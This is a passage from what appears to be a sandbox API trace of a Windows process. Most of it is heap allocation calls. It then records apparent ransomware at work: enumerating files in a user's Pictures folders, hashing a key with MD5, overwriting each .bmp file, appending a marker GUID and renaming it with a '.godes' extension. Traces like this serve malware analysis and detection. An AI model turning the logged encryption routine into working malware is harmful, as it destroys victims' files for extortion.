dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.522] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.522] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.522] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.522] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.522] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.522] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.522] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.522] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.522] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.522] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.522] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.522] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.522] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.522] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.522] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0115.522] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.522] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.522] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.522] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.522] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.522] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.522] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.522] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.522] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.523] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.523] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.523] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.523] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.523] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.523] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.523] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.523] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.523] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.523] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.523] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.523] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.523] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.523] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.523] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.523] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.523] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.523] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.523] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.523] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.523] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.523] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.523] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.523] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.523] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.523] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.523] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.523] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.523] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.523] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.523] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.523] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.523] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0115.524] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.524] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.524] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.524] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.524] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.524] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.524] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.524] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.524] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.524] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.524] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.524] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.524] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.524] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.524] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.524] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.524] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.524] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.524] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.524] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.524] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.524] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.524] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.524] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.524] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.524] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0115.524] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.524] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.524] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.524] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.524] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.524] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.524] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.524] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.525] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.525] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.525] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.525] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.525] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.525] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.525] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.525] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.525] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.525] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.525] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.525] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.525] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.525] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.525] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.525] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.525] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.525] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.525] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.525] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.525] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\M-hu89hh2q0KW3MDUa\\") returned="M-hu89hh2q0KW3MDUa\\" [0115.525] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c568 [0115.525] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33215f8 [0115.525] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.525] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\") returned="xGbG96m2n\\" [0115.525] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740f38 [0115.525] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33215f8 | out: hHeap=0x660000) returned 1 [0115.525] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\") returned="Se5hmDr0IOl8\\" [0115.525] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x326d630 [0115.525] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740f38 | out: hHeap=0x660000) returned 1 [0115.525] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\") returned="X7bnh_OS\\" [0115.525] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326e0d0 [0115.525] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326d630 | out: hHeap=0x660000) returned 1 [0115.526] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0115.526] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284968 [0115.526] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326e0d0 | out: hHeap=0x660000) returned 1 [0115.526] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0115.526] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0115.526] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284968 | out: hHeap=0x660000) returned 1 [0115.526] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0115.526] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0115.526] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0115.526] PathFindFileNameW (pszPath="") returned="" [0115.526] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.526] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\M-hu89hh2q0KW3MDUa\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5e83aa0, ftCreationTime.dwHighDateTime=0x1d4ccd1, ftLastAccessTime.dwLowDateTime=0xc3fc5370, ftLastAccessTime.dwHighDateTime=0x1d4c841, ftLastWriteTime.dwLowDateTime=0xc3fc5370, ftLastWriteTime.dwHighDateTime=0x1d4c841, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0115.528] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.528] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5e83aa0, ftCreationTime.dwHighDateTime=0x1d4ccd1, ftLastAccessTime.dwLowDateTime=0xc3fc5370, ftLastAccessTime.dwHighDateTime=0x1d4c841, ftLastWriteTime.dwLowDateTime=0xc3fc5370, ftLastWriteTime.dwHighDateTime=0x1d4c841, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.528] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f27d2b0, ftCreationTime.dwHighDateTime=0x1d4d561, ftLastAccessTime.dwLowDateTime=0x82301de0, ftLastAccessTime.dwHighDateTime=0x1d4d238, ftLastWriteTime.dwLowDateTime=0x82301de0, ftLastWriteTime.dwHighDateTime=0x1d4d238, nFileSizeHigh=0x0, nFileSizeLow=0xdab3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3HBQ5DQDTXX2Dst.bmp", cAlternateFileName="3HBQ5D~1.BMP")) returned 1 [0115.528] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.528] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11e) returned 0x32419d0 [0115.528] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.528] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\M-hu89hh2q0KW3MDUa\\3HBQ5DQDTXX2Dst.bmp") returned=".bmp" [0115.528] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\M-hu89hh2q0KW3MDUa\\3HBQ5DQDTXX2Dst.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\xgbg96m2n\\m-hu89hh2q0kw3mdua\\3hbq5dqdtxx2dst.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0115.529] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=55987) returned 1 [0115.529] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0115.531] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xda8d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.531] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0115.532] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0115.533] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0115.533] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.533] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xdab3, lpOverlapped=0x0) returned 1 [0115.533] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.533] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0115.534] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.534] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.534] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x740f38) returned 1 [0115.534] CryptCreateHash (in: hProv=0x740f38, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0115.534] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0115.534] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0115.534] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0115.534] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0115.534] GetLastError () returned 0x0 [0115.535] CryptDestroyHash (hHash=0x32a6888) returned 1 [0115.535] CryptReleaseContext (hProv=0x740f38, dwFlags=0x0) returned 1 [0115.535] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0115.535] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xdab0) returned 0x3325120 [0115.535] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0115.535] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0115.535] WriteFile (in: hFile=0x624, lpBuffer=0x3325120*, nNumberOfBytesToWrite=0xdaae, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3325120*, lpNumberOfBytesWritten=0x3b2fb24*=0xdaae, lpOverlapped=0x0) returned 1 [0115.535] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3325120 | out: hHeap=0x660000) returned 1 [0115.535] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xdab3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.535] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0115.535] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331e748 [0115.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331e748, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0115.535] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x331eb78 [0115.535] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0115.535] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0115.535] WriteFile (in: hFile=0x624, lpBuffer=0x331eb78*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x331eb78*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0115.536] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331eb78 | out: hHeap=0x660000) returned 1 [0115.536] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0115.536] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0115.536] CloseHandle (hObject=0x624) returned 1 [0115.537] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329fab0 [0115.537] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8f0) returned 0x331e748 [0115.537] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329fab0 | out: hHeap=0x660000) returned 1 [0115.537] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\M-hu89hh2q0KW3MDUa\\3HBQ5DQDTXX2Dst.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\xgbg96m2n\\m-hu89hh2q0kw3mdua\\3hbq5dqdtxx2dst.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\M-hu89hh2q0KW3MDUa\\3HBQ5DQDTXX2Dst.bmp.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\xgbg96m2n\\m-hu89hh2q0kw3mdua\\3hbq5dqdtxx2dst.bmp.godes")) returned 1 [0115.539] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0115.539] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0115.540] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32419d0 | out: hHeap=0x660000) returned 1 [0115.540] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x439c1f50, ftCreationTime.dwHighDateTime=0x1d4d370, ftLastAccessTime.dwLowDateTime=0xf42c9bb0, ftLastAccessTime.dwHighDateTime=0x1d4d56e, ftLastWriteTime.dwLowDateTime=0xf42c9bb0, ftLastWriteTime.dwHighDateTime=0x1d4d56e, nFileSizeHigh=0x0, nFileSizeLow=0xedf1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4bEPE_RVfAAsyMzt6.bmp", cAlternateFileName="4BEPE_~1.BMP")) returned 1 [0115.540] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.540] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11e) returned 0x32419d0 [0115.540] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.540] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\M-hu89hh2q0KW3MDUa\\4bEPE_RVfAAsyMzt6.bmp") returned=".bmp" [0115.540] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\M-hu89hh2q0KW3MDUa\\4bEPE_RVfAAsyMzt6.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\xgbg96m2n\\m-hu89hh2q0kw3mdua\\4bepe_rvfaasymzt6.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0115.540] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=60913) returned 1 [0115.541] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0115.542] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xedcb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.542] ReadFile (in: 